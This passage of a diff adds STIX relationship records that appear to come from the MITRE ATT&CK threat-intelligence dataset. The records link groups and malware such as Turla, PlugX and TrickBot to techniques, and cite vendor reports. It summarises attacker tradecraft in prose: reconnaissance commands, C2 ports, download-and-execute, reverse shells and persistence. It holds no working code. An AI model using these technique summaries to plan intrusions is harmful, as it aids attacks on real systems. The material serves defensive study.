+ }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e1a3f5df-963d-4211-931e-02ed9c567168", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.901Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover active local network connections using the netstat -an, net use, net file, and net session commands. [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also enumerated the IPv4 TCP connection table via the GetTcpTable2 API call.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.045Z", + "id": "relationship--3325e625-d76b-42df-b952-749dabb57517", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.961Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--431ec495-5f92-40e9-9955-58ca334ea3c8", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.895Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) checks if the victim OS is 32 or 64-bit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--db46b437-c406-4c36-a0fe-bf1f2c32a6fe", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) downloads and executes additional PowerShell code and Windows binaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--be31bf6d-ce4f-4620-8940-445f35ff90a7", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "modified": "2019-04-24T23:41:40.097Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "source_name": "FireEye POSHSPY April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) uses HTTP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.229Z", + "id": "relationship--b3d3ab9f-03db-4982-b60e-9f7f224f1fc2", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.113Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to create, delete, or modify Registry keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:17:59.225Z", + "id": "relationship--067ece2b-4e66-437f-88e0-8dc3f076331b", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.911Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.063Z", + "id": "relationship--fb6a8268-5a73-4ac0-8f61-439f472063d6", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.610Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has enabled TCP on port 587 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:05.060Z", + "id": "relationship--dbe7b773-ddac-4c0f-b785-ad5eca03341a", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.334Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla April 2018", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + }, + { + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "source_name": "Talos Agent Tesla Oct 2018", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) has used GitHub and a public blog service in Hong Kong for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:09:26.648Z", + "id": "relationship--45952aea-8bd7-4f6d-8b23-ee2914860454", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "modified": "2019-04-19T15:10:04.392Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[Carbon](https://attack.mitre.org/software/S0335) uses the command net time \\\\127.0.0.1 to get information the system\u2019s time.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.679Z", + "id": "relationship--40a2c8e2-df1c-41a8-beec-951214c8e101", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.631Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GovCERT Carbon May 2016", + "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.", + "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Epic](https://attack.mitre.org/software/S0091) gathers a list of all user accounts, privilege classes, and time of last logon.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.144Z", + "id": "relationship--8e876e40-06b7-4830-a281-85c070b6f854", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:42.941Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:08:24.834Z", + "id": "relationship--bfe45239-7fa4-45a5-bb47-86c4ae46906c", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.821Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) can modify file or directory timestamps.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--3017cf15-f6a8-4281-8c74-9dd8f7c2666f", + "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "source_name": "US-CERT FALLCHILL Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects registered owner details by using the commands systeminfo and net config workstation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--64006d31-51ea-4908-8b09-2650fdc6b4f8", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Remsec](https://attack.mitre.org/software/S0125) has a plugin to detect active drivers of some security products.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ea61c268-d0d1-4cbe-8b26-16f70f515a04", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can establish using a AppCertDLLs Registry key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1177ad8a-d57f-4882-be1f-c327e08017d2", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.615Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of spawning a reverse shell on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--380db9ad-f6ad-4988-8a28-b773313f07b7", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can use an add on feature when creating payloads that allows you to create custom Python scripts (\u201cscriptlets\u201d) to perform tasks offline (without requiring a session) such as sandbox detection, adding persistence, etc.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--befbbf7a-6480-4825-b7f6-1561dc6d4189", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.994Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Lurid](https://attack.mitre.org/software/S0010) can compress data before sending it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--982d9af7-45bb-4cc0-9819-aaadb3304783", + "source_ref": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Villeneuve, N., Sancho, D. (2011). THE \u201cLURID\u201d DOWNLOADER. Retrieved November 12, 2014.", + "source_name": "Villeneuve 2011", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[SynAck](https://attack.mitre.org/software/S0242) gathers computer names, OS version info, and also checks installed keyboard layouts to estimate if it has been launched from a certain list of countries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3e58118d-64b9-43ae-bfd8-cb3c8bf19556", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "modified": "2019-07-26T23:00:57.216Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "A [Remsec](https://attack.mitre.org/software/S0125) module has a default C2 port of 13000.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7ed59789-3b2d-4acf-9127-7af35234a373", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) exfiltrates command output and collected files to its C2 server in 1500-byte blocks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1abf4f3f-85e7-4bd1-9432-bddd40a0ad75", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.454Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can list directories on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--084ac639-2502-4020-8938-65352349acbb", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:03.064Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "source_name": "US-CERT Volgmer Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used batch scripts in its malware to install persistence mechanisms.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cdd38074-895f-40e8-85fb-acc1aa4ecb69", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.502Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) obtains the IP address and other relevant network information from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f7bcd411-995f-41cb-b8ed-c333b0435ed3", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.557Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[APT38](https://attack.mitre.org/groups/G0082) used a Trojan called KEYLIME to collect data from the clipboard.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:25.287Z", + "id": "relationship--b2a83e1d-f6e8-4cdc-a96e-7bca9a48dfb2", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.459Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[CloudDuke](https://attack.mitre.org/software/S0054) downloads and executes additional malware from either a Web address or a Microsoft OneDrive account.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--800825f5-6e74-43ad-a732-476fdf471225", + "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform screen capture.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:40:37.729Z", + "id": "relationship--0f64f141-1f0f-4374-879d-b08f0fda8979", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "modified": "2019-04-23T21:09:54.686Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "source_name": "Zscaler Cobian Aug 2017", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) binds and listens on port 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d2ff3fa8-04ee-4999-bb84-197513419090", + "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "source_name": "US-CERT HARDRAIN March 2018", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Elise](https://attack.mitre.org/software/S0081) enumerates 